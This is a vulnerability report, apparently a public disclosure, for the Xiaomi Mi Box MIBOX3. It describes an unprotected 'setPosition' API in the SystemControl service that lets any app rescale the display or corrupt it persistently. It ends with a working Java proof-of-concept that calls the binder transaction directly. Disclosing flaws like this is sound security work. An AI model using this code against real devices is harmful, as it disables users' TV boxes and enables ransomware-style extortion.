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HI,  
  
  
  
  
I would like to report a security vulnerability in Xiaomi Mi Box (model: MIBOX3, build.id : MHC19).   
  
The vulnerability allows rescaling and corrupting the display without any privilege requirement, thus creating an opportunity for a non-privilege malicious app to disable the basic functionalities that the TV box is offering or can even be used for ransomeware purpose - e.g., each time a target streaming app is launched, the malicious app can corrupt the display.   
  
  
  
  
  
This vulnerability is due to the following:  
  
Xiaomi introduces a (non-protected) custom API in the SystemControl system service ¡°setPosition¡± which takes as arguments 4 integers. Once invoked with maliciously set parameters, the system display will be effected; e.g., (500, 500, 1000,1000) for rescaling the display and (1000,1000,1000,1000) for corrupting the display. Note that the display corruption will be persistent across reboots, making it very difficult to be fixed without a hard reset.  
  
  
  
  
We can exploit this API as follows:  
  
Class ServiceManager = Class.forName("android.os.ServiceManager");  
  
Method getService = ServiceManager.getMethod("getService", String.class);  
  
mRemote = (IBinder) getService.invoke(null,"system_control");  
  
Parcel localParcel1 = Parcel.obtain();  
  
Parcel localParcel2 = Parcel.obtain();  
  
localParcel1.writeInterfaceToken("droidlogic.ISystemControlService");  
  
localParcel1.writeInt(500);  
  
localParcel1.writeInt(500);  
  
localParcel1.writeInt(1000);  
  
localParcel1.writeInt(1000);   
  
mRemote.transact(16, localParcel1, localParcel2, 0); // 16 corresponds to the API setPosition  
  
localParcel2.recycle();  
  
localParcel1.recycle();